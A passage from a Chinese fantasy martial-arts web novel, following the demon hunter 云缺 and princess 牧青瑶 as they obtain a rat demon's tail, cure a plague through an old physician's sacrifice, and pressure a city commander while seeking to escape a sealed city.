梅钱死死咬着牙,用腾出来的单手猛地锤了下护心镜。 护心镜内闪过一道暗淡的光芒。 随后一股玄奥的力量覆盖而来,协助梅钱抗住了鼠尾的勒杀。 云缺在正面的攻势无比迅猛,但效果不大。 鼠妖的长毛斩断一片又会迅速生长出来,好似无穷无尽,根本砍不完。 这一战云缺没动用妖刀的力量。 牧青瑶找到的蛇蛋早吃没了,现在云缺可没有蛋类服用。 月玉虽然能压制妖刀的反噬,但云缺不想动用。 一则月玉里的镇魂之力绝非无穷无尽,耗费一点就少一点。 二来现在有帮手,梅钱的实力,云缺是知道的。 那家伙别看也是八品武者,却有着对抗七阶妖兽的能力。 鼠妖愈发狂躁,猛扑云缺。 怎奈这里是地牢,四周全是牢房与墙壁,云缺有的是地方躲闪。 一时咬不死云缺,鼠妖将愤怒发泄在梅钱身上,长尾越卷越紧,将梅钱整个人卷成了粽子。 而这时,梅钱也正好接近了鼠尾的位置。 “死耗子!” 梅钱突然大骂出声,蕴含着全力的双刀爆发出惊人气息。 咔嚓!! 双刀合斩,鼠尾齐根而断! 第30章 她肯为我死 吱吱吱!! 地牢里传出鼠妖尖锐的嚎叫声。 断尾处血流不断。 鼠妖遭遇重创,顾不得灵果,撞塌一面墙壁逃向远处,很快冲出地牢消失不见。 云缺收起刀,帮梅钱解开缠身的鼠尾,顺手将鼠尾装进随身携带的黑布包里。 这东西是难得的材料,能卖个好价钱。 “有我一半!”梅钱龇牙咧嘴的道。 “放心,忘不了你。”云缺道。 两人重新跳回地洞。 梅钱取出把匕首,小心翼翼将木盒子切开。 里面并排摆着四颗鸭蛋大小的果实,呈暗红色,表皮如松果般坚硬。 盒子一开,立刻散发出一股夹杂着淡淡血腥气的草木芳香。 “果然是血茸果!” 云缺毫不客气的收走了两颗。 梅钱一脸哀怨的收起剩下的两颗,此时这位校尉的神色,像极了怨妇。 费时费力挖了大半年不说,还冒着生命危险对付七阶鼠妖,到最后好处又得分出去一半。 梅钱怎么算自己都赔大了。 “收获不错,要不要去喝一杯?”云缺笑道。 “喝个六!我没钱!”梅钱懊恼道。 “不喝算了,找你帮个忙,送我和郡主出城。”云缺道。 “出不去,城守下令,封城三日,谁敢私自放走一人,军法处置。”梅钱沉着脸拒绝。 “少来,你梅大校尉什么时候在乎军法了,开个价,二十两够了吧。”云缺道。 “二百两也出不去!这忙我帮不了,负易那人小肚鸡肠,他很少下达如此军令,既然下令就不许别人忤逆,到时候我放你出去被他知道了,百玉城我别想再立足。”梅钱道。 “你在哪立足我不管,反正这忙你不帮也得帮,否则你就是害死郡主的帮凶,你自己算算,是忤逆城守的后果严重,还是害死郡主的后果严重呢。”云缺笑道。 “少给我扣帽子!我只是尽忠职守而已,听从将军号令,无功无过,郡主的生死与我这种小人物有何关系。”梅钱冷哼道。 “既然你这么不讲情面,那我只能回去劝郡主提前写好遗书,把该交代的都交代清楚,比如谁害了她,谁又不肯帮忙开城门,到时候阜南王自会一一清算。”云缺笑呵呵的道。 梅钱听得瞠目结舌,眼睛瞪得多大。 “无耻也该有个限度!你想趟浑水,非得拉着我一起吗!”梅钱怒道。 “因为你是我朋友啊,我在百玉城就你一个朋友,不拉你,拉谁。”云缺道。 梅钱气得咬牙切齿。 要不是打不过云缺,他很想现在就把眼前的这个朋友挫骨扬灰。 “就算我帮你也没用,城里的十几个校尉全被调集到各处城门值守,只要城门一开,肯定会有人察觉,一群八品武者,你觉得能瞒得过去么。”梅钱道。 “你给想想办法呗,你在百玉城人脉多,肯定有办法通融。”云缺道。 “都是同僚而已,该踩着上位的,谁也不会犹豫半分,我跟他们没那么深的交情,何况这种要命的事。”梅钱沉声道:“既然郡主要出城,大可表明身份,谁敢拦着不成,何必偷偷摸摸这么麻烦。” “明人不说暗话,你也知道城里现在变成什么样了,城守为何偏偏在这时候封城,难道你心里没点数么。”云缺道。 梅钱深吸一口气,懊恼道: “云缺你是不是犯病了?平常这种麻烦事你肯定有多远躲多远,这次怎么非得保一个郡主?难道你看上她了?别忘了你只是个穷鬼武夫!” “没身份没地位没资历还没钱,要什么没什么!你不会觉得自己有机会做驸马吧,人家可是高高在上的灵芸郡主,皇室宗亲!即便平安回到皇城,人家也不会看上我们这种下等武夫!” “听兄弟一声劝,就此罢手,及时抽身,远离这处是非之地,今后咱们还是好兄弟,该坑人坑人,该猎妖猎妖,该喝酒喝酒,天下间什么都缺,就是不缺女人!” 云缺笑呵呵的听着梅钱发牢骚,等对方说完,才道: “我没你想的那么多,送她回家,是场买卖,好处我已经收了,总不能中途变卦,我也是要名声的。” “屁的名声!这些年咱们俩干的事如果让外人知道,早就臭名远扬了,又不差这一次。”梅钱道。 “她帮我找过蛇蛋。”云缺道。 “我帮你找的蛋,难道比她少吗?”梅钱怒道:“你自己算算,鸟蛋蛇蛋甚至妖兽蛋,自从咱们认识之后,我帮你找了多少!” “确实,你是帮我找了不少蛋,不过银子你也没少收啊。”云缺道。 梅钱尴尬了一下,沉声道: “不提蛋的事儿了,你若因为喜欢那个郡主,非得冒死保她,那就当没我这个朋友!你云缺可以去大爱无涯,我梅钱怕死得很,恕不奉陪!” 云缺呵呵笑了一声,平静的道:“她肯为我死。” 梅钱脸上的懊恼神色,在听到这短短几个字之后,就此凝固。 过了半晌,梅钱沉沉的吐出一口气,道: “我只能带你们到城门下,城门肯定开不了,怎么出去,你自己想办法。” “那怎么行,我又不会穿门术。”云缺道。 “你可以上城墙,带好绳索,有机会就爬出城外,没机会就跳出去,我来的时候看到城墙上加派了守卫,其中有几个生面孔,不是百玉城的军兵,你自己小心吧。”梅钱道。 “这就难办了,我跳出去可能摔不死,她跳出去非得摔成肉泥不可。” 云缺无奈道,他知道梅钱做到这种地步,已经是极限。 毕竟只是个守城门的校尉,根本没什么权柄,像梅钱这种修为的武夫校尉,在百玉城足有十几号。 就算处理掉城墙上的守卫,带着牧青瑶成功逃出百玉城,一样会走漏风声,到时候红莲教还会阴魂不散的追踪而至。 正在为难如何出城的时候,地洞里出现了第三个声音。 “我、我有办法出城!” 声音沙哑苍老,出现得极其突然。 云缺与梅钱意外之下,齐齐拔刀,目光盯住了声音的来源。 发出声音的,是旁边的土堆,土堆外还露着一只手。 看到手的同时,云缺立刻想起了对方。 之前进地牢最深处牢房的时候,里面有一具蓬头垢面的尸体。 随后牢房地面被梅钱的刀气斩塌,尸体也随着掉进这处地洞。 原来那不是尸体,而是个活人! 云缺几下从土堆里挖出了对方。 声音听着苍老,实际年纪不算太大。 是个三四十岁的中年人,骨瘦如柴,头发不知多少年没洗过都黏在了一起,看着像具骷髅差不多,如果这位不说话,跟死人没什么区别。 梅钱此刻的脸色变得很不好看,眼底涌现着浓烈的杀意。 “你动手,还是我动手。” 梅钱的刀刃上流转起寒芒。 他和云缺刚才可说了不少,其中的消息若被外人听去,会惹来不必要的麻烦。 云缺反倒不在乎,蹲在对方面前道:“说说看,你有什么办法出城。” “城门是木头的,对吧?”邋遢的中年人问出个奇怪的问题。 “废话,难道是铁门么。”梅钱冷声道。 “是木头就成!我能带着两个人穿出去。”中年人信誓旦旦的道。 “穿门术?呵呵。”梅钱冷笑道:“如果你会穿门术的话,何必被关在地牢里,你可以随时离开,闭眼吧,我这就送你归西。” “别别别!我没说瞎话!我只能穿过木头门,多厚都行,地牢里是铁门,我穿不出去呀!求求你们带我一起出城,我被关在这鬼地方太久了。”中年人苦苦哀求道。 “别信他的鬼话,地牢里有的是这种伶牙俐齿的家伙。”梅钱说着就要动手。 “我可以证明的!只要一扇木门就行!” 中年人匆忙的哀求下,云缺拦住了梅钱。 “好,我带你出去试一试,如果你没说假话,能帮我出城,少不了你的好处。”云缺道。 “大爷放心!我这人从来不说谎嘿嘿,我只要点银子就成,不贪心的。”中年人讪笑道。 梅钱皱着眉,收起刀,对云缺投去个眼色。 那眼色很显然是在告诫云缺,这种人即便能用得上,出去后也要立刻灭口。 云缺点了点头,没说什么。 三人就此离开地牢。 梅钱出去后就与云缺分开,说是回城门。 云缺带着囚徒在附近找了棵大树。 “试试吧。” 云缺抱着刀,笑呵呵的道。 关在地牢最深处的家伙,基本都是死囚,如果对方说瞎话,云缺不介意立刻送他见阎王。 中年囚徒站在树前,伸展开两手,胡乱摆动,如同做法事的游方道人。 怎么看都是骗人的把戏。 抖了半天手,中年囚徒站好了身体。 云缺还以为对方要装模作样的再掐诀念咒一番,结果对方一头撞向大树。 下一刻,中年囚徒的身体竟诡异的融入大树,从另一侧穿了出来! 穿树而过! 没有施法,也没有念咒,就这么直挺挺的穿了过去。 云缺看得大为惊奇。 对方施展的绝非什么法术,因为没有任何气机波动。 修士施法,大多要掐动咒决调动天地气息才行,可这位什么也没用,抖完手就直接穿树。 这是什么能力? 云缺没空多想,带着对方离开地牢区域,找了户没人的废屋子。 屋门破旧,只剩半边。 “带着我一起穿过去。”云缺道。 中年囚徒连声说好,拉着云缺一起穿过屋门。 到了屋子里,云缺回头看着纹丝不动的破门,心头大喜。 有这家伙在,只要到了城门,即可无声无息的穿城而过! 第31章 起火入药 城中一处小巷。 梅钱藏身在一间无人的木屋后,皱着眉暗自嘀咕。 “怎么能连输一百次,我运气有这么不好?” 一道苍老的声音响起在耳畔。 “输了一百次还没看出端倪,你的眼力比那云缺差太多了。” “他的战力的确比我高,但比起眼力,我梅钱绝不会输给任何同阶!他运气好而已,我能断定他绝不是出老千才赢的。”梅钱倔强道。 “运气?呵呵,人家出的是虚拳,他每次都会盯着你的手,在你五指即将形成剪刀石头布的形态那一刻,他的虚拳便会瞬间应对,在任何人眼里,你们出拳都是同步的,没人作弊,只是人家的眼力比你更快,所以才能次次都赢。”苍老的声音道。 梅钱微眯起双眼,咬牙切齿,无话可说。 他对云缺是不服气的,始终都是。 但这次,梅钱不得不服气。 其他的不说,单独眼力这一块,他望尘莫及。 否则就不会连输一百次。 不多时,那苍老的声音提醒道: “差不多了,该回去了。” 梅钱立刻走出小巷,他没去城门,而是重新沿着通道返回地牢区域。 “眼力再好也是个武夫而已,真正的好东西,武者可感知不到。” 梅钱显得很是得意,来到通道尽头,继续挖掘翻找。 由于另一侧已经被巨鼠打通,四周没剩下多少土石。 很快梅钱皱起眉。 除了沙石之外,什么也没有。 “宝藏呢?你说过这里存在着至宝气息,难道只有四枚血茸果?”梅钱道。 “血茸果在你眼里值点钱,在老夫眼里与粪土无异,岂能称其为至宝。”护心镜上闪过一层光晕,随后那苍老的声音带着疑惑道:“至宝的气息,消失了。” “消失?怎么会消失!除了血茸果,我和云缺什么也没挖出来啊。”梅钱道。 “宝藏不翼而飞,此事诡异,尽快离开这里。”苍老的声音说完便没了声息。 梅钱不敢久留,立刻离开地牢区域,返回城门。 …… 庸医馆。 老医者始终在忙碌。 医馆里的病人越来越多,全是发疯想要咬人的附近百姓,被家人捆绑后送来医治。 医馆里仅有的几名学徒忙得焦头烂额。 牧青瑶也在帮忙。 按照老医者指点的手法,牧青瑶不到半个时辰就大致学会了镇魂三针,亲手扎好了一名发狂的女子。 老医者连连点头,投去赞许目光,给予牧青瑶一个极高的评价。 天赋过人! 只可惜镇魂三针只能暂时消除患者的狂躁,毒力不除,还会发病。 早先被治疗的女童,突然再次狂躁,咬了她的母亲后冲到大厅,嘴角血淋淋的,眼睛通红,好似恶鬼。 由于牧青瑶离得最近,女童直接扑了过去,张嘴就咬。 牧青瑶用尽全力按住女童的脑袋,躲避着对方的牙齿。 发病的女童变得力量极大,以牧青瑶的力气根本控制不住,几个病患家属冲过来帮忙才将女童制服,重新捆绑起来。 大厅里的乱象刚刚平息,庸医馆门口涌来一群发狂的百姓,足有几十号。 这些人牙齿上沾满鲜血,不知咬了多少人,犹如一群野兽冲向医馆大厅。 老医者皱着眉,沉沉的叹了口气。 他救治得再快,也没有奇毒扩散的速度快,一己之力,难以回天。 “七先生只管救人,我们守在门口!” 一名刚刚送来家中病患的汉子大吼一声,最先站了出来。 “没有先生,我家闺女就没有治好的希望,我帮忙守门!” 那女童的父亲也站了出来。 “算我一个!” “我也来!” “咱们把医馆大门堵死,想冲进来捣乱,先杀了我们再说!” “我们这么多人,难道还守不住一个院子吗!” “先生放心,就算我们被咬死,也不会放进来一个!” 十几个男人站在门口。 有老有少。 这些人年纪不同,出身不同,地位也不同,但相同的,是他们守护家人的决心。 老医者的目光微微晃动起来,沉默着,他藏于心底深处的某段往事,被这一幕所触动。 当门外野兽般的人群即将冲进医馆之际,这些发狂的百姓忽然纷纷飞了起来。 不是自己飞,而是被踢飞的。 一阵拳脚响动过后,医馆外干干净净。 一群发狂者全被踢出院子,一个个佝偻着身体起不来了。 “又不看病,挡什么路。” 云缺埋怨了一句,大步走进医馆大厅。 门口的十几个男人看得目瞪口呆,哗啦一声让开通路,生怕被云缺一拳一脚给打飞。 牧青瑶擦了下额头的细汗,现出微笑。 随后小郡主看到云缺身后还跟着一个人,邋里邋遢,乞丐一样,不知是何来路。 “这位是?”牧青瑶疑惑道。 “小的姓门,排行老六,叫我门六就成。”邋遢男人憨笑道。 “再等半个时辰,准备出发。”云缺低声道。 半个时辰足够梅钱在城门处做好接应的准备。 这时被捆住的那女童突然发出一声惨叫,额头凸起的血管接连爆开,满脸是血,情况危急。 由于医馆人手不足,一些病患家属也不会救治,只能急得干瞪眼。 牧青瑶毫不犹豫的伸出援手,用止血绷带紧急包扎。 云缺见她一个人忙碌,只好上去帮忙,两人合作之下很快将女童的伤口封住。 但也仅仅是权宜之计。 绷带很快被鲜血染红。 女童的气息愈发微弱,照这么下去,等不到再次发病,就得失血过多而亡。 “七叔,治不了吗,到底什么病?”云缺望向刚刚处理完一个病患的老医者。 “厉血症。”老医者沉声道:“奇毒入血,致使血脉沸腾,如厉风过境,飞沙走石,一夜之间即可血枯人亡。” 闻听此言,医馆内的病患家属齐齐呆滞,许多人瘫软在地,哭声四起。 牧青瑶轻蹙秀眉道: “古医书上记载有此症,厉血症,鼠毒而发,疫病千里,尸横遍野,以毒源之血配三才奇花可解。” 七叔缓缓点头,现出赞许之色道: “小姑娘博学多才,如此罕见的病症居然也能记得。” “毒源之血?我刚才倒是撞见一头红毛鼠妖。”云缺道。 医馆内的哭声瞬间止住,一个个绝望的家属纷纷望来,眼里闪烁着期望。 “被它跑了。”云缺又道。 哭声继续响起,病得最重的女童在此刻嘴角开始溢血,病症加重。 女童的父母彻底绝望。 “不过我把老鼠尾巴切了下来。”云缺摘下身后的黑袋子。 医馆里的哭声再次停住,人们连呼吸都几乎停滞。 七叔拿出黑袋子里的巨型鼠尾,颔首道: “针毛毒鼠,果然是此妖作祟,如此完整的鼠尾,足以提炼出充足的毒源。” “七叔若是收购的话,给你打个七折。”云缺道。 “鼠尾可入药,对我来说是难得之物,市价在四百两上下,我出五百两。” 老者说罢让小徒弟取来银票,总共五张,每张一百两。 云缺只收了三张银票,义正言辞道:“老主顾,折扣必须有!我做生意向来如此。” 老医者笑了笑,不多推辞,将剩下的银票收了起来。 有了鼠尾,大厅里的人们都觉得看到了希望,尤其女童的父母,急得眼泪直流,就等着七叔配药了。 牧青瑶的眼中闪过一丝不忍,轻声道: “毒源易找,奇花难寻。” 闻言女童的父亲豁然大惊,连忙询问道:“七先生莫非调制不出解药?那三才花很罕见吗?” “何止罕见。”七叔长叹一声,道:“那是真正的天材地宝啊。” 女童父亲一个踉跄,跌倒在地,只觉得眼前发黑。 天材地宝这四个字,注定了与凡人无缘。 “城里会不会有三才花?我们去找!” “搭上命我们也不怕!” “对!咱们一起找,肯定能找到的!只要配出解药,我们的家人就有救了!” 众人不肯放弃。 他们的家人都在生死边缘,不救,只能等死。 牧青瑶的俏脸上泛起苦涩,轻语道: “三才奇花,生于冰域,花分三彩,落地无踪,天下奇花千万朵,唯独三才冰下行。” 短短一句话,让人们的希望彻底破灭。 存在于冰雪之地的奇花,又能自行在冰下移动,如此奇物,岂是一群凡人能找到的。 医馆内安静下来。 只剩下病患们不断痛苦低吼。 女童额头的绷带已经完全被鲜血染红,气息越来越弱,眼见着要活不成了。 她的父母无声的抱紧她,像两个死气沉沉的垂暮老者,麻木中只剩下深深绝望。 老医者望着那一家三口良久,自语般幽幽说道: “老夫从前有一位挚友,乃我一生知己,她擅长下毒,我擅长解毒,有一日她与人斗法身中奇蛊之毒,仅剩一日可活,我本可以救她,最后她还是死了。” 云缺听得奇怪,问道:“既然能救,为何会死?” “只因我犹豫了一个时辰。” 七叔的声音透着苍凉,道:“等我做出决定不惜代价救她的时候,看到的只剩一具尸体,为了不让我为难,她加快了气血运转从而加速毒发时间。” “这就是七叔你的不对了,早点救人的话,何必天人两隔。”云缺道。 “是啊,这些年我始终在后悔,当初如果不犹豫那一个时辰,她就不会死,一天有十二个时辰,可人这一生,往往只有一个念头。” 老者苍凉一笑,问道:“云缺,如果你这位红颜知己即将死在面前,需要你放弃进阶更强境界的希望去救,你会不会犹豫。” 老者口中的红颜知己,显然指的是旁边的牧青瑶。 “这是个麻烦的选择,所以我从来不找什么红颜知己。”云缺道。 老者料到云缺不会回答,望向牧青瑶道: “小姑娘,换成是你呢,若你的知己将死,需要你切一根手指相救,你会如何选择。” 牧青瑶深深看了眼旁边的黑衣少年,凝重道:“士为知己者死,十指尽断又何妨。” “哈哈哈哈!” 老者忽然大笑,抚掌道:“好一个十指尽断又何妨!连一个小姑娘都不会犹豫的选择,我却犹豫了一个时辰,后悔了半辈子……起火!” 老者一声起火,立刻有两个小徒弟拿着鼠尾跑去准备。 起火,是制药的第一步。 云缺微微皱眉,他与七叔很熟,但对方的来历却一概不知。 云缺只知道这个老头医术惊人,出手还大方,为人很不错。 “七叔,你家医馆里有三才花?”云缺疑惑道。 “医馆里没有,城里也没有,整个大晋国也许都没有,不过,我身上有。” 七叔洒然一笑,清吟道:“前溪独立后溪行,鹭识朱衣自不惊,借问人间愁寂意,伯牙弦绝已无声。” 咔嚓! 一道刀光闪过,七叔竟用一把匕首切断了自己的小拇指! 老者抓起小拇指扔给一名小徒弟,高声道: “入药!” 第32章 请将军相助 七叔断指的举动,看得所有人瞠目结舌。 连云缺也没想到会出现这等局面。 那可是手指! 又不是灵花灵草,入药能熬出什么来? 七叔的小手指,虽然鲜血淋漓,却古怪的散发出一种草木香气,断层处呈现出三彩之色。 牧青瑶此刻神色微变,脱口道: “指封三才!” 那根小指之内,竟融合着一朵三才奇花! 至此,云缺与牧青瑶终于明白了七叔当年为何会犹豫那一个时辰,从而错过了救活知己的机会。 因为七叔将天材地宝养在自己的手指之内,借此来冲击下一个境界,若切断了,相当于葬送掉自己千辛万苦才堆积而来的进阶之路。 但凡修行者,谁不想在修炼之途再进一步呢。 人之常情而已。 七叔的犹豫,其实没错。 在进阶更强的境界与救治知己之间,他陷入了两难的选择。 七叔的知己也没错。 她了解七叔,更不愿七叔因此断送进阶的契机,于是选择提前毒发,了结一生。 这便是知己。 赤心用尽为知己,黄金不惜栽桃李。 一段令人唏嘘感慨的知己之情。 小徒弟接过断指后,匆匆赶去熬药。 不多时鼠尾血与断指熬制的汤药出锅,七叔简单包扎了一下伤口后,命人先给那濒死的女童喂药。 汤药入口,女童浑身立刻颤抖起来,头皮处冒出大片的黑血。 那是鼠毒,正逐渐渗出。 很快女童安静下来,呼吸逐渐平稳,终于逃过一劫。 见汤药有效,医馆内的百姓们爆发出一阵欢呼,庆幸着女童的死中得活,也庆幸着中毒的家人迎来了真正的希望。 七叔吩咐小徒弟以汤药为原浆,调配出大量解毒剂,分发给众人。 牧青瑶此刻的眼神愈发明亮,她终于知道了面前的老者是何许人也。 “春来花开去年古,七针绝学传中土!十指封灵,您是天祈学宫回春殿的上一任先生,杨七古!” 当牧青瑶道出这个尘封多年的名讳之前,她与云缺周围已然笼罩起一层无形的气息,隔绝了声音。 显然对方不愿让外人得知自己的身份。 七叔缓缓颔首,道: “能认出老夫,小姑娘的身份怕是不一般,还望你帮老夫保守这个秘密,归隐之人,图个清静。” 牧青瑶执弟子礼,躬身道:“学生牧青瑶,谨遵师命。” 杨七古满意的点点头,挥手撤去隔音障。 牧青瑶反倒有些诧异。 云缺也听到了杨七古的身份,怎么老先生没对云缺有什么交代呢。 好像杨七古根本不在意云缺会泄漏他的身份似的。 “时间到了,我们该走了。”云缺说完,对七叔拱手告辞。 医馆内的病患都喝了解药,恢复得最快的,已经恢复了神智能自己走路了。 人们兴高采烈,可院子里又出现十几个发狂的百姓。 牧青瑶犹豫了一下,询问道:“先生调配的药剂,可够满城百姓解毒?” “应该差不多,若是不够,可以将药量再次稀释,解毒的速度慢些而已,一样有效。”杨七古道。 “我们这些人手不够,需要更多人帮忙才行。”牧青瑶凝重道。 “自身难保,还要帮别人?”云缺道。 “这次百玉城劫难,说到底与我有关。”牧青瑶道。 “烂好人,不长命。”云缺撇嘴道。 牧青瑶微微偏着头,背着小手,展颜笑道:“你会帮我这个烂好人的,对么。” 小郡主天真可爱的模样,任谁看到都会为之痴迷。 云缺皱着眉,咬着牙,贴近对方的耳朵道:“仅此一次,下不为例!再有这种事我会打晕你,把你当成死猪扛到天祈城!” “一言为定!”牧青瑶在云缺耳畔吹气如兰的轻声道。 “你想怎么办。”云缺恢复了冷漠神态。 “聚集人手,城里的大户人家都有护院,他们肯定没被咬过,只要将这些人聚集起来就是一股救人的力量。”牧青瑶道。 “这种时候那些有钱人家都会各扫门前雪,谁会管别人死活,就算能说服他们,这么点人手也太少了,百玉城至少三十多万人,估计得有一半中了毒。”云缺道。 “我知道靠着城内大户肯定不够救人,我会先去召集官府里的官差,再带着城内官员齐至城守府,让守军协助,众目睽睽之下,城守将军也不敢推脱,只要城内守军行动,所有的大户自然会出力帮忙。”牧青瑶道。 寻常百姓的死活,那些大户不会多管,但官军上门,他们不敢不从。 这就是牧青瑶的全盘计划。 “转守为攻,化暗为明,这是一招险棋,不过也是最好的办法了。” 云缺点头道,不得不佩服牧青瑶这位灵芸郡主的胆略。 “不过这里有一个难题。”牧青瑶蹙起秀眉道:“城守若不露面,靠着城内的其他文官,绝对调不动守军。” “我来解决。” 云缺冷笑道:“那位城守大人不是喜欢坐山观虎斗么,如果后院起火,我看他还坐不坐得住!我们分头行动,城守府碰面。” 定下计划后,云缺与牧青瑶准备离开医馆。 临走前,云缺拍下二两银子,道:“七叔,给我留间房。” 杨七古痛快的收下银子,道了声好。 在庸医馆留间房,不是为了来治病,而是云缺给牧青瑶留的一条后路。 一旦出现无法控制的局面,只能将牧青瑶藏进庸医馆,才有逃生的希望。 杨七古收下银子的举动,让云缺安心不少。 能成为天祈学宫的先生,这位七叔的来头绝对不小,尽管人家已经归隐世外,不问世事,至少愿意帮忙庇护一二。 这已经是极大的人情了。 临走前,七叔拿出两个有些古旧的香囊,一个绣龙一个绣凤,寓意着龙凤呈祥。 七叔将香囊分别送给云缺与牧青瑶。 “这是我当年与那位知己共同研制的驱毒香囊,有趋避百毒之效,可惜年头太久,效用早已大不如前,不过趋避蚊虫还是很好用的,送给你们,希望你们能相知无悔,不负今生。” 云缺与牧青瑶接过香囊,施礼道谢。 看着两个年轻人走出医馆的背影,杨七古手捻白须,微笑了起来,目光中泛起深深的怀念。 他仿佛看到了多年前的自己,与那位早已故去的红颜知己。 …… 云缺将牧青瑶送到最近的衙门后,开始满城转悠。 门六始终跟着。 这家伙是出城的关键,云缺怕他逃了,于是带在身边。 走了几条街,在门六累得够呛的时候,云缺停步在一处干枯了不知多少年的水井旁。 趴在井口,云缺仔细闻了闻气味。 门六觉得莫名其妙,一口枯井有什么好闻的? “大爷,咱们啥时候出城啊?”门六道。 “快了,先找点东西。” 云缺已经能确定,那只断了尾巴的针毛毒鼠就在水井附近,不超过方圆一里的范围内。 身为猎人,狩猎是必备技能,而寻找猎物才是最拿手的能耐。 猎妖人,一样如此。 云缺寻妖的本事,说出去几乎没人相信。 他单凭着嗅觉即可分辨出妖物曾经遗留过的气息,再从气息的强弱来判断妖物行进的方位与大致距离。 城守将军打算做乌龟,闭门不出,那么云缺就准备给对方送一份大礼。 在附近找到一根长木杆,再拿出随身携带的鱼线,很快一个简易的鱼竿制成。 鱼饵,则是一枚血茸果! 云缺站在井口,将鱼竿甩得飞起,让血茸果的气息四散开,随后带着门六直奔城守府。 过了不久, 在枯井不远处一间屋舍里,一只没有尾巴的火红妖鼠钻了出来,嘴里还嚼着一颗血淋淋的人头。 针毛毒鼠的长鼻子拼命抽着气。 它闻到了血茸果的芳香,嘴里的人头顿时不香了,被它吐了出去。 循着灵果气味,针毛毒鼠快速爬行,在黑夜里犹如一道红色的旋风。 …… 城守府。 负易面沉似水的坐在书房里。 地面上是碎裂的茶杯茶壶,连他平日里最喜欢的一方砚台都被砸了个稀碎。 “红莲教……害我不浅!” 负易越想火气越大,抡起巴掌,啪一声将面前的木桌砸成两截。 红莲教与灵芸郡主的恩怨,他根本不想插手。 本以为借着剿匪之名封城三日,就当还了红莲教的人情。 不料城中大乱,无数百姓染上奇毒,尸体到处可见。 照这么下去,不管红莲教能不能抓到灵芸郡主,他这个城守将军最后都得背锅。 城守将军,一城之守! 负易最大的职责,就是守护百玉城,守护城内百姓。 城里死的人越多,他的罪名就越大。 而且这黑锅还推不出去,只能负易自己扛着。 负易恨不得掐死红莲教那个教主。 什么作壁上观,什么明哲保身,负易现在只有一个念头。 自己已经引火烧身了! 他现在的处境,更为尴尬。 不出面的话,城里无时无刻不在死人,若伤亡过重,他难逃其咎,不知会被朝廷如何处置。 出面的话,回天乏力。 城里乱成这种模样,根本难以平息,如果再碰到灵芸郡主,卷进红莲教的阴谋当中,他负易更难脱身。 帮了红莲教,会被晋国通缉追杀。 帮了郡主,会被红莲教视作仇敌。 怎么算也不得好,里外不是人。 正愁容满面的时候,负易忽然听到府中一阵大乱,火光冲天,刀剑声伴着惨叫。 “怎么回事!” 负易大吼。 很快军兵来报,府中出现巨大鼠妖,正在到处杀人,已经被咬死几十名军兵。 负易大怒,抓起身旁的重刀冲了出去。 城守府里,发生了一场恶战。 身为七品武者的城守将军负易,集结数百人马,在自家府中围杀一头发狂的七阶鼠妖。 这场恶战打碎了十几面院墙,轰塌了六七座屋子,最后连大门都被移平。 当负易一身是血,狼狈不堪的斩杀了七阶鼠妖后,他才发现身后被移平的府门外,站着一群人。 全是城内的文官与衙役! 这些人众星拱月般围拢在一名白衣少女身后,一个个低眉顺眼,恭敬得好似孙子一样。 负易的眼睛一点点瞪大。 他最不愿看见的局面,到底还是出现了。 白衣少女柔美的俏脸上带着浅浅笑意,开口道: “负将军好身手,我是灵芸郡主牧青瑶,特来请将军相助。” 少女轻灵柔和的声音,十分好听,可负易听到后,只觉得自己的脑瓜仁儿开始疼了起来。 第33章 坟头开花 当着满城官员的面,负易只能装出错愕表情,急忙拜见郡主。 牧青瑶直接道明来意,要求调集守军协助解毒。 负易猜测过灵芸郡主会来城守府,所以他才闭门不出装作不在家,但他没想到灵芸郡主会在这么巧的时间点出现,还带着大批官员。 身为城守,满城混乱之际若还按兵不动,眼看着无数百姓惨死,那负易就再没退路了。 除非他现在翻脸,杀了郡主与一群同僚,否则只能妥协。 衡量了一番利弊,负易立刻答应下来。 牧青瑶当仁不让的亲自安排,将守军分为数十队,一部分去大户人家召集更多的人手,剩下的赶往医馆取解药开始救助百姓。 灵芸郡主临危不乱的指挥,引来一众百玉城官员的极力夸赞。 牧青瑶没放过这些文官,命在场的官员全都将家丁召集起来,继续救人。 郡主的号令,没人敢不从。 很快城守府门口汇聚起上千家丁。 有了这些家丁,再加上守军不断召集的大户人家,救人的队伍愈发庞大。 很多没中毒的百姓在家人得救后,义无反顾加入到救人队伍当中,混乱的百玉城,开始迅速平复。 见大局已定,牧青瑶终于长出一口气,借口去驿馆,在两名文官的陪同下离开城守府。 等牧青瑶走后,负易的脸色变得十分难看。 尽管他已经派兵救人,但责罚肯定是难免的,这场大乱他在责难逃。 既然局面已经无法更改,负易咬了咬牙,唤来亲卫。 “立刻去各处城门传令,城内疫病大起,为防止奇毒扩散,任何人不许出城,谁敢放走一人,断头之罪!” 亲卫立刻领命而去。 负易这道军令,有着两重含义。 一是将功补过。 宁可百玉城内死伤无数,也要扼制住奇毒的源头,这样一来即便上面责罚下来,他也有回旋的余地,不至于掉脑袋。 他能借口说是为了大晋更多的百姓安危,才甘愿封死百玉城。 二是为了给红莲教一个交代。 郡主始终困在城中,你们红莲教能不能拿走郡主的人头,是你们的本事,我已经按照你们的吩咐封死了百玉城,就算郡主逃了也不关我事。 安排完之后,负易找了两个附近的文官,与其一同调兵救人,忙碌起来。 做好事,必须有人证才行,到时候拿不出证据,岂不白忙一场。 …… 去驿馆的路上,牧青瑶支开陪同的文官,独自拐进小巷,与等在这里的云缺碰头,赶往城门方向。 城门下。 一队百余人的军兵正严阵以待。 厚重的城门关得死死的,门洞内漆黑一片。 梅钱作为守门的校尉,不必站岗,他在距离城门十几丈的路边搭起个火堆,火堆上烤着两只刚抓到的野鸡。 城门附近就是树林,时而能见到野味。 咕咕,咕咕。 林间传来两声鸽子叫声。 梅钱扫了眼旁边的树林,知道这是云缺的信号,随即起身朝着城门处喊道: “烤熟了,都过来吃一口,今儿我带了点酒,大伙儿暖暖身子。” 一听有酒,站岗的军兵纷纷大喜,一窝蜂的冲了过来。 “还是头儿好,知道心疼我们嘿嘿!” “我要是女人啊,肯定嫁给头儿哈哈!” 一群军兵嬉笑着开始分酒。 “少贫嘴了,别喝多,将军要是来查夜非得挨板子不可。”梅钱说着瞄了眼城门方向,见还有两人没动地方,问道:“那两个兄弟怎么没过来。” “可能不好意思吧,管他们呢,爱吃不吃!少个人咱们就能多吃块肉。” 旁边的军兵不以为意的说了句。 梅钱的目光泛起冷色,起身来到城门后,对那两名军兵笑道: “大半夜的,这里又没人,跟我喝两口去。” “不必了,我们不喝酒。” “将军刚下令,我们还是尽忠职守的好,省得出意外。” 两名军兵一点面子不给,直接拒绝,站在城门下寸步不离。 梅钱点了点头,道: 